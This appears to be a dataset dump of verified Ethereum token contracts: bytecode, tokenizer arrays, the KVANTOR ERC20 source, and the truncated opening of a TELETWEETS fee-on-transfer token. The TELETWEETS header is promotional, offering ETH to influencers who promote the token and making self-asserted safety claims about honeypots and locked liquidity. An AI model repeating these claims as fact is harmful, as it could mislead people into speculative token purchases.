d5b600160a060020a03338116600081815260016020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b6000806000808551116104b657fe5b60808551106104c157fe5b83518551146104cc57fe5b5060009050805b84518260ff161015610526576000848360ff16815181106104f057fe5b906020019060200201511161050157fe5b838260ff168151811061051057fe5b90602001906020020151600190920191016104d3565b600160a060020a03331660009081526002602052604090205481901161054857fe5b600160a060020a033316600090815260026020526040902054610571908263ffffffff610ad816565b600160a060020a03331660009081526002602052604081209190915591505b84518260ff1610156106b4576105fb848360ff16815181106105ae57fe5b9060200190602002015160026000888660ff16815181106105cb57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff610aea16565b60026000878560ff168151811061060e57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558460ff83168151811061064157fe5b90602001906020020151600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef868560ff168151811061068e57fe5b9060200190602002015160405190815260200160405180910390a3600190910190610590565b506001949350505050565b600160a060020a038084166000818152600160209081526040808320339095168352938152838220549282526002905291822054839010156106fd57fe5b8281101561070757fe5b6000831161071157fe5b600160a060020a03841660009081526002602052604090205461073a908463ffffffff610aea16565b600160a060020a03808616600090815260026020526040808220939093559087168152205461076f908463ffffffff610ad816565b600160a060020a038616600090815260026020526040902055610798818463ffffffff610ad816565b600160a060020a03808716600081815260016020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3506001949350505050565b60065460ff1681565b60035460009033600160a060020a0390811691161461082d57600080fd5b6007541561083757fe5b60005461084a908363ffffffff610aea16565b6000908155600160a060020a038416815260026020526040902054610875908363ffffffff610aea16565b600160a060020a0384166000818152600260205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2506001600781905592915050565b600160a060020a031660009081526002602052604090205490565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103f35780601f106103c8576101008083540402835291602001916103f3565b60075481565b600081811061096c57fe5b600160a060020a0333166000908152600260205260409020548290101561098f57fe5b600160a060020a0333166000908152600260205260409020546109b8908363ffffffff610ad816565b600160a060020a0333811660009081526002602052604080822093909355908516815220546109ed908363ffffffff610aea16565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610a9457600080fd5b600160a060020a0381161515610aa957600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610ae457fe5b50900390565b600082820183811015610af957fe5b93925050505600a165627a7a723058208fd900d3bc33e6859847707df2dd9f76f05f038e60b36fcb78d2f7e418a8f4010029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2278, 2620, 22394, 2063, 23777, 18139, 2620, 2278, 2683, 20842, 2575, 2581, 2575, 2063, 2683, 2546, 2575, 2497, 2509, 2497, 2620, 2581, 2620, 15136, 12521, 2575, 24594, 10322, 2497, 2629, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2538, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,435
0x96c8aa08b1712dDe92f327c0dC7c71EcE6c06525
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title KVANTOR ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract KvantorToken { using SafeMath for uint256; string public name = "KVANTOR"; string public symbol = "KVT"; uint public decimals = 8; address public owner; mapping (address => mapping (address => uint256)) internal allowed; uint256 internal totalSupply_; mapping(address => uint256) internal balances; event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function KvantorToken() public { totalSupply_ = 10000000000000000; balances[msg.sender] = totalSupply_; owner = msg.sender; } /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Check is certain transer allowed * main rule is "all transfers is prohibited till 27.09.2018 00:00:00 UTC+3 * The only exceptional rule -"KVANTOR smartcontract creator's account is allowed to transfer token to buyers' account at anytime" */ function isTransferAllowed(address sender) public constant returns (bool) { if(sender == owner) return true; // 27.09.2018 00:00:00 UTC+3 = 1537995600 timestamp if(now > 1537995599) return true; else return false; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(isTransferAllowed(msg.sender)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); require(isTransferAllowed(_from)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015a57806318160ddd146101bf57806323b872dd146101ea578063313ce5671461026f578063661884631461029a57806370a08231146102ff5780638822048e146103565780638da5cb5b146103b157806395d89b4114610408578063a9059cbb14610498578063d73dd623146104fd578063dd62ed3e14610562575b600080fd5b3480156100d657600080fd5b506100df6105d9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016657600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610677565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d4610769565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b50610255600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610773565b604051808215151515815260200191505060405180910390f35b34801561027b57600080fd5b50610284610b82565b6040518082815260200191505060405180910390f35b3480156102a657600080fd5b506102e5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b88565b604051808215151515815260200191505060405180910390f35b34801561030b57600080fd5b50610340600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e19565b6040518082815260200191505060405180910390f35b34801561036257600080fd5b50610397600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e62565b604051808215151515815260200191505060405180910390f35b3480156103bd57600080fd5b506103c6610ee2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041457600080fd5b5061041d610f08565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045d578082015181840152602081019050610442565b50505050905090810190601f16801561048a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a457600080fd5b506104e3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fa6565b604051808215151515815260200191505060405180910390f35b34801561050957600080fd5b50610548600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111de565b604051808215151515815260200191505060405180910390f35b34801561056e57600080fd5b506105c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113da565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561066f5780601f106106445761010080835404028352916020019161066f565b820191906000526020600020905b81548152906001019060200180831161065257829003601f168201915b505050505081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107b057600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107fe57600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561088957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108c557600080fd5b6108ce84610e62565b15156108d957600080fd5b61092b82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461146190919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109c082600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147a90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a9282600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461146190919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60025481565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c99576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d2d565b610cac838261146190919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ec35760019050610edd565b635babf34f421115610ed85760019050610edd565b600090505b919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f9e5780601f10610f7357610100808354040283529160200191610f9e565b820191906000526020600020905b815481529060010190602001808311610f8157829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610fe357600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561103157600080fd5b61103a33610e62565b151561104557600080fd5b61109782600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461146190919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061112c82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147a90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061126f82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147a90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561146f57fe5b818303905092915050565b6000818301905082811015151561148d57fe5b809050929150505600a165627a7a72305820325c6d4981efbe19ee12ac082d4cb695dff18ec7ccaa18789b9be06aebdf83100029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2278, 2620, 11057, 2692, 2620, 2497, 16576, 12521, 14141, 2063, 2683, 2475, 2546, 16703, 2581, 2278, 2692, 16409, 2581, 2278, 2581, 2487, 26005, 2575, 2278, 2692, 26187, 17788, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,436
0x96c922992136df28acb2b2c7e09c60683fcb7c95
// SPDX-License-Identifier: MIT /** * TELETWEETS * ---------------------------------------------------------------------- * * TELETWEETS donates ETH to any impactful influencer that promotes the TELETWEETS token from their * Twitter account and/or Telegram channel. TELETWEETS also donates to charities (that must be listed * on TheGivingBlock.com) nominated by those influencers and/or Twitter followers. * * If you're an influencer, simply tweet or post a Telegram promo about TELETWEETS then send us a message * via Twitter that includes the following information: * * 1) A link to your tweet and/or Telegram post. * 2) A link to the charity you'd like to nominate. * 3) Your Ethereum wallet address. * * We'll then send ETH to your wallet and add your charity to the list of nominations. We of course tweet * about your promo, which in turn brings attention to your account/channel aka beautiful reciprocation. * * All charitable donations will be completely transparent and published via the TELETWEETS Twitter account. * * Twitter: https://twitter.com/_TELETWEETS * * Everything is run solely from Twitter. To communicate with the team, please send a Twitter DM. * * Tokenomics * ---------------------------------------------------------------------- * * Buy & Sell * * Charity - funds influencer and charitable donations: 4% * Auto-liquidity - helps to create a more stable price floor: 1% * Ecosystem - general running costs and founder payments: 4% * * Total Per Swap: 9% * * Trade Settings * ---------------------------------------------------------------------- * * Max Transaction: 750000 / 0.75% * Max Wallet: 1000000 / 1% * * Limits shall be lifted shortly after launch. * * Wallet to wallet transfers are not subject to tax. * * Security * ---------------------------------------------------------------------- * * Both the development of this contract and the launch procedure were completed with security in mind: * * 1) No configuration function can be used to honeypot or create any other form of scam. * 2) Ownership is renounced soon after launch, with the only functions that remain accessible being completely safe. * 3) 100% of liquidity is locked soon after launch. * 4) To minimise snipers, we fast-launch then ban known sniper addresses. * * Finally * ---------------------------------------------------------------------- * * Safety + Charity + Twitter and Telegram influencers = recipe for success. * * Enjoy the show. Tweet tweet. */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract TELETWEETS is Context, ERC20, Ownable { // DEX IDexRouter public dexRouter; address public dexPair; // Wallets address public charityWallet; address public ecosystemWallet; // Trade settings bool public swapEnabled = false; bool public limitsEnabled = false; bool private _tradingEnabled = false; bool public transferDelayEnabled = true; uint256 private _transferDelayBlocks = 2; mapping(address => uint256) private _lastTransferBlock; uint256 private _maxTxAmount; uint256 private _maxWalletAmount; uint256 public swapTokensAmount; // Trade tax uint256 public buyCharityFee = 4; uint256 public buyLiquidityFee = 1; uint256 public buyEcosystemFee = 4; uint256 public buyTotalFees = buyCharityFee + buyLiquidityFee + buyEcosystemFee; uint256 public sellCharityFee = 4; uint256 public sellLiquidityFee = 1; uint256 public sellEcosystemFee = 4; uint256 public sellTotalFees = sellCharityFee + sellLiquidityFee + sellEcosystemFee; uint256 private _tokensForCharity = 0; uint256 private _tokensForLiquidity = 0; uint256 private _tokensForEcosystem = 0; // Fees and max TX exclusions mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedFromMaxTx; // Anti-bot bool public antiBotEnabled = true; mapping(address => bool) private _bots; uint256 private _launchTime = 0; uint256 private _launchBlock = 0; uint256 private _botBlocks = 1; uint256 private _botSeconds = 10; uint256 public totalBots = 0; // Reentrancy bool private _isSwapLocked = false; modifier lockSwap { _isSwapLocked = true; _; _isSwapLocked = false; } constructor(address charityWallet_, address ecosystemWallet_) payable ERC20("TELETWEETS", "TELETWEETS") { require(address(this).balance > 0, "Token: contract currency balance must be above 0"); // DEX router if (block.chainid == 56) { dexRouter = IDexRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E); } else if (block.chainid == 97) { dexRouter = IDexRouter(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); } else if (block.chainid == 1 || block.chainid == 4) { dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); } else { revert(); } _approve(address(this), address(dexRouter), type(uint256).max); // Mint total supply - called once here only _mint(address(this), 100_000_000 * 1e18); // Wallets charityWallet = charityWallet_; ecosystemWallet = ecosystemWallet_; } function teleTweets(uint256 botBlocks_, uint256 botSeconds_, uint256 maxTxAmount_, uint256 maxWalletAmount_, address[] memory botAddresses_) external onlyOwner { require(!_tradingEnabled, "Token: trading already enabled"); require(botBlocks_ >= 0 && botBlocks_ <= 3, "Token: bot blocks must range between 0 and 3"); require(botSeconds_ >= 10 && botSeconds_ <= 120, "Token: bot seconds must range between 10 and 120"); require(botAddresses_.length > 0 && botAddresses_.length <= 200, "Token: number of bot addresses cannot be above 200"); // DEX pair dexPair = IDexFactory(dexRouter.factory()).createPair(address(this), dexRouter.WETH()); // Exclude from fees excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); // Exclude from max TX excludeFromMaxTx(owner(), true); excludeFromMaxTx(address(this), 